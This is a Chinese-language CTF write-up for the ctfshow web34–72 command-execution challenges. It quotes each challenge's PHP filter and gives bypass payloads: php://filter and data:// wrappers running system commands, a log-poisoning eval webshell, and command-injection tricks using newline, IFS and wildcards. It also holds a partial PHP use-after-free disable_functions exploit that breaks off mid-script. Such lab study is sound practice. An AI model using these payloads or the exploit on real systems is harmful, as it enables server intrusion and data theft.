ctfshow 命令执行笔记

web34——命令执行

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了:flag, system, php, cat, sort, shell, 小数点, 空格, 单引号,反引号,echo, 分号,左括号,冒号,双引号;
此题同上一题类似

1
?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

base64解码即可得到flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:49:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


*/


$flag="ctfshow{176e1aa8-38eb-48f9-a1a9-07a5ea683dd3}";

ctfshow{176e1aa8-38eb-48f9-a1a9-07a5ea683dd3}

web35——命令执行

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了一大堆玩意儿:

1
?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

与web34,33类似base64解码即可获得flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:49:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 03:37:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


*/


$flag="ctfshow{cddf1bd1-a9c1-4ef6-bb94-50d55091a10e}";

ctfshow{cddf1bd1-a9c1-4ef6-bb94-50d55091a10e}

web36——命令执行

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了: flag,system,php,cat,sort,shell, 小数点,单引号,反引号,echo,分号,左括号,冒号,双引号,左尖括号,等号,数字0-9;

1
?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

同上一题:

base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php




/*

# -*- coding: utf-8 -*-

# @Author: h1xa

# @Date: 2020-09-04 00:49:19

# @Last Modified by: h1xa

# @Last Modified time: 2020-09-04 03:37:11

# @email: h1xa@ctfer.com

# @link: https://ctfer.com



*/



$flag="ctfshow{375f8cad-2ba6-4f1f-8d69-bbd592bd1b1c}";<br/>

ctfshow{375f8cad-2ba6-4f1f-8d69-bbd592bd1b1c}

web37——命令执行——日志shell

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

根据百度得知此题使用 :
data://协议
条件:allow_url_fopen:On allow_url_include:On
用处: php版本>=5.2.0可以使用data://数据封装器,以传递相应格式的数据用来执行PHP代码:
用法:

1
2
data://text/plain; 命令
data://text/plain;base64, base64编码

在此题当中尝试使用:
方法一:

1
2
?c=data://text/plain,<?php system('ls');?>
<?php system('ls');?> = base64 = PD9waHAgc3lzdGVtKCdscycpOz8+

因为题目中过滤了 flag,所以将失效,

1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

如图得到了flag
方法二:
利用日志:

  1. 首先在url中访问不存在内容,让其记录到服务器的日志文件中,此次题目环境的日志路径为:
    /var/log/nginx/access.log
1
?c=<?php @eval($_POST[1]);?>

​ 2.查看日志文件中是否多了 一句话木马:

如图所示发现发生了转码: 空格: %20; <:%3C; >:%3E; [:%5B; ]:%5D; ’ : %27

​ 3.蚁剑 or 菜刀 类似工具连接: but 连接失败

web38——命令执行——日志shell

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

方法一:
与上一题都使用 data协议:

1
2
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+
// <?php system('ls');?> = base64 = PD9waHAgc3lzdGVtKCdscycpOz8+

将得到目录下的文件如图:

1
2
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
// <?php system('tac flag.php');?> = base64 = PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

将得到flag.php:

方法二:
利用日志文件得到shell,日志文件目录: /var/log/nginx/access.log 与 web37 方法二类似

web39——命令执行

源码:

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}
  1. 仍然是 data:// 协议;ls 下目录
1
2
3
4
5
?c=data://text/plain,<?php system('ls');?>
// passthru()
// echo exec(),exec() 默认回显最后一行,echo exec() 完整显示
// echo shell_exec() shell_exec()默认无显示,echo shell_exec() 可显示
//

1
2
// cat 所有 f开头的文件
?c=data://text/plain,<?php system('cat f*')?>

web40——命令执行

源码:

1
2
3
4
5
6
7
8
9
10
 <?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了 [0-9]数字,~,·,@, #, $, ^, &, *, 中文括号(),-, =, +, {},[], : , ’ , “, 逗号, < >, 小数点, ./, ? ,一大堆

1
2
?c=print_r(localeconv());
// localeconv() 返回包含本地数字及货币格式信息的数组其中包含小数点,正好题目过滤了小数点

1
2
?c=print_r(pos(localeconv()));
// pos() 获取数组中当前元素的值---> .

1
2
?c=print_r(scandir(pos(localeconv())));
// scandir() 返回指定目录中的文件和目录的数组---> 此时获取到的数组下标为 1 的为 ..

1
2
?c=print_r(array_reverse(scandir(pos(localeconv()))));
// array_reverse() 翻转数组-->将 scandir() 获取到的数组下标为 1 的变为 flag.php

1
2
?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
// next() 函数将内部指针指向数组中的下一个元素,并输出。即下一个 ---> flag.php;如若在上一步array_reverse()不翻转将得到: ..

有个报错不管它。

此时已经读取到了 flag.php 那么就要将其内容显示出来: 可以使用 show_source() 或者 highlight_file() 得到 flag。

1
2
3
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=highlight_file(array_rand(array_flip((scandir(pos(localeconv()))))));

web41——命令执行

web42——命令执行—— >/dev/null 2>&1

源码:

1
2
3
4
5
6
7
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
1
>/dev/null 2>&1 
  1. /dev/null
    /dev/null 作用是将标准输出重定向到 /dev/null中。/dev/null代表Linux的空设备文件,往这个文件里面写入的内容都会丢失:“黑洞” 所以执行了 >/dev/null 之后,标准输出掉入黑洞不复存在。

  2. 2>&1
    重定向绑定, & 可以将两个输出绑定在一起。所以 错误输出将和标准输出同用一个文件描述。
    因此 >/dev/null 2>&1 执行后:标准输出重定向到/dev/null中(黑洞),错误输出重用来标准输出的描述,因此也掉入了黑洞。综上所述,该条命令不会有任何显示,不会输出任何信息到控制台,也不会有任何信息输出到文件中。

所以此题要把 >/dev/null 2>&1 这部分内容截断:

1
2
3
4
5
?c=tac flag.php%0a // %0a = 回车
?c=tac flag.php%26 // %26 = &
?c=tac flag.php%26%26 // %26%26 = &&
?c=tac flag.php|| // || = ||
?c=tac flag.php;ls

web43——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题的基础上 多 过滤了命令 cat分号 ,可以使用 c’’at 或者 tac 或者 less/more(需要查看源代码) 或者 tail 或者 nl(读取行号查看源代码)

1
2
3
4
?c=ca''t flag.php%0a /%26 /||
?c=tac flag.php%0a /%26 /||
?c=less flag.php%0a /%26 /||
………………

这里使用 less flag.php%0a

web44——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题的基础上 多 过滤了一个 flag,因此:

1
2
3
4
5
6
7
8
9
10
11
?c=tac f*%0a | %26 | ||
?c=cat f''lag.php%0a | %26 | ||
?c=less f*%0a | %26 | ||
?c=less f''lag.php%0a | %26 | ||
?c=more f*%0a | %26 | ||
?c=more f''lag.php%0a | %26 | ||
?c=tail f*%0a | %26 | ||
?c=tail f''lag.php%0a | %26 | ||
?c=nl f*%0a | %26 | ||
?c=nl f''lag.php%0a | %26 | ||
……………………

web45——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题的基础上 多 过滤了 空格;因此需要绕过空格:

1
2
3
4
5
// %09:tab 代替空格
// ${IFS} 代替空格
?c=tac%09f*%0a | %26 | ||
?c=tac${IFS}%0a | %26 | ||
……………………

IFS : Internal Field Separator : 内部字段分隔符
$IFS 默认空字符(空格, tab, \n)

web46——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题的基础上 多 过滤了 数字,**$**, *****,因此需要绕过这些:

1
2
3
4
5
// <
// <> 均可代替空格
?c=tac%09f''lag.php%0a | %26 | ||
?c=tac<f''lag.php%0a | %26 | ||
?c=tac<>f''lag.php%0a | %26 | ||

web47——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
10
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题的基础上 多 过滤了 more, less, head, sort, tail 唯独还是没有过滤 tac:

1
2
3
4
5
?c=tac%09f''lag.php%0a | %26 | ||
?c=tac<f''lag.php%0a | %26 | ||
?c=tac<>f''lag.php%0a | %26 | ||
?c=nl<>f''lag.php%0a | %26 | ||
// nl 显示行号,需要查看源代码

web48——命令执行——⇡

源码;

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题 多 过滤了 sed, cut, awk, strings, od, curl ` 这些是啥玩意儿MD: 自行百度

1
2
3
4
5
6
7
?c=tac<f''lag.php%0a | %26 | ||
?c=tac<>f''lag.php%0a | %26 | ||
?c=tac%09f''lag.php%0a | %26 | ||
?c=nl%09f''lag.php%0a | %26 | ||
?c=sor''t<f''lag.php%0a | %26 | ||
?c=hea''d<f''lag.php%0a | %26 | || // head默认显示十行
………………

web49——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上上一题 多 过滤了 %: 方法同上

1
2
3
4
5
?c=tac%09f''lag.php%0a | %26 | ||
?c=tac<f''lag.php%0a | %26 | ||
?c=tac<>f''lag.php%0a | %26 | ||
?c=nl<>f''lag.php%0a | %26 | ||
……………………

web50——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题 多 过滤了 \x09:十六进制09, \x26:十六进制26 即过滤了 %09:tab, %26:&

1
2
3
4
?c=tac<f''lag.php%0a | ||
?c=tac<>f''lag.php%0a | ||
?c=nl<f''lag.php%0a
?c=nl<>f''lag.php%0a

web51——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题 多 过滤了 tac (终于过滤了tac) ,但任未过滤 nl

1
2
3
4
?c=t''ac<f''lag.php%0a | ||
?c=t''ac<>f''lag.php%0a | ||
?c=nl<f''lag.php%0a | ||
?c=nl<>f''lag.php%0a | ||

web52——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
10
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题 多过滤了 < > 且解除了对 $ 的过滤:

1
2
?c=ta''c${IFS}fla''g.php%0a | ||
?c=ta''c$IFS''fla''g.php%0a | ||

发现 $flag=”flag_here” 并不是真正flag; TMD

扫描目录:

1
?c=ls${IFS}%0a | ||

发现当前目录没卵用;再扫描根目录试试

1
?c=ls${IFS}/%0a | ||

此时发现根目录出现 flag,so:

1
?c=ta''c${IFS}/fl''ag%0a | ||

web53——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题 多 过滤了 wget ; 且没有了“黑洞”: >/dev/null 2>&1

1
2
?c=ta''c${IFS}fl''ag.php
?c=nl${IFS}fl''ag.php

web54——命令执行

源码:

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

这过滤的……

方法一:

1
2
// flag.php = 8位, f???????
?c=/bin/?at${IFS}f???????

bin为binary:主要是系统的: cat, cp, chmod, dmesg, gzip, kill, ls, mkdir, more, mount, rm, su, tar, 等等

方法二:

1
2
3
// 使用 mv 命令将 flag.php 重命名位 a.txt
?C=mv${IFS}fla?.php${IFS}a.txt
?c=ls

查看目录下内容是否将 flag.php 更名位 a.txt

查看 a.txt

1
http://349624a8-72d7-****-****-4024d09777f4.challenge.ctf.show:8080/a.txt

web55——命令执行——无字母数字

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

发现过滤了 : 分号,字母a-z, 反引号, %, 09, 26, <> 既然过滤了 字母那么 flag将不能使用,经过百度一遍:

需要编写一个 简单的上传页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>upload</title>
</head>
<body>
<form action="TargetURL" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

将 “TargetURL” 替换为题目环境的 URL 上传一个 1.txt 文件其内容为: a

使用 bp 抓包:

1
2
3
?c=.%20/???/????????[@-[]
// /tmp/flag.php
// [@-[] 从 @ 到 [ : @,26个大写字母, [ , 所以表示 匹配大写字母

web56——命令执行——无字母数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

此题相较于上一题(web55)多 过滤了 $, (, { , ', '‘,

具体方法与上一题(web55) 一样。

web57——命令执行

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

emmmm

web58——文件包含

源码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
post:
c=show_source("flag.php");
c=highlight_file("flag.php");
// 读取文件

c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file("flag.php"));
c=print_r(file("flag.php"));
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}

web59——命令执行——⇡

同 web58

web60——命令执行——⇡

同 web58

web61——命令执行——⇡

同 web58

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
  1. 可以使用

    1
    var_dump(scandir('./'));

    扫描当前目录下的内容:

  1. 也可以使用 web 40 中一样的方法:

    1
    2
    c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
    c=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

web62——命令执行——⇡

同上

web63——命令执行——⇡

同上

web64——命令执行——⇡

同上

web65——命令执行——⇡

同上

web66——命令执行——⇡

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
1
2
post:
c=highlight_file('flag.php');

秀秀得了,这次不在这里!‘’

扫描当前目录: 没有正确的flag

1
c=print_r(scandir('./'));

扫描根目录: 发现 flag.txt

1
c=print_r(scandir('/'));

查看 根目录下的 flag.txt:

1
c=highlight_file('/flag.txt');

web67——命令执行

同 web66

web68——命令执行

源码:: 没有显示源码可能环境坏了,只有一个报错:显示 highlight_file() 不能使用

看了官方提示:用 include

1
2
3
post:
c=include('index.php');
// 会显示 超过了内存大小,证明 index.php 文件太大了

根据上面几道题的 flag 的位置,尝试 直接:

1
2
3
post:
c=include('/flag.txt');
c=require('/flag.txt');

web69——命令执行

同 web68

web70——命令执行

同 web68

web71——命令执行

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?
1
2
3
4
// ob_get_contentx() 	返回输出缓冲区的内容
// ob_start() 打开输出控制缓冲
// ob_end_clean() 清空(擦除)缓冲区并关闭输出缓冲
// 把 数字字母 都替换为了 '?'

此题首先 执行 : eval($c),将获取到了$c执行一遍,然后 $s = bo_get_contents();将$c执行的内容由缓存读取到了变量 $s,接下来的 preg_replace()会将缓存中的所有内容替换为‘?’:因此我们将会看到如下:

如图所示:扫描目录出来的结果都变了 ??????? and 你要上天吗?,因此不得让 ? 执行,那么可在 eval($c)执行完毕后将整个php程序给结束不再执行后面的语句就绕过字母数字的替换:

1
2
c=var_export(scandir('/'));die();
c=var_export(scandir('/'));exit();

如图找到了 flag.txt 和上面几道题的位置一样:

1
2
c=include('/flag.txt');exit();
c=include('/flag.txt');die();

web72——命令执行

源码同上一题: 此题不会,看了网上大佬:

1
2
3
4
5
6
7
8
9
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
exit();
// DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口
// 简单的说 DirectoryIterator 可以读取目录
// glob:// 查找匹配的文件路径模式, 此处 /* 表示根目录下所有文件所以在题目环境下执行将会显示出 根目录下存在 flag0.txt 文件; 当然也可以显示其他目录中的文件: /var/* 表示 /var目录下的所有文件

看了VIP群里的脚本: 72poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
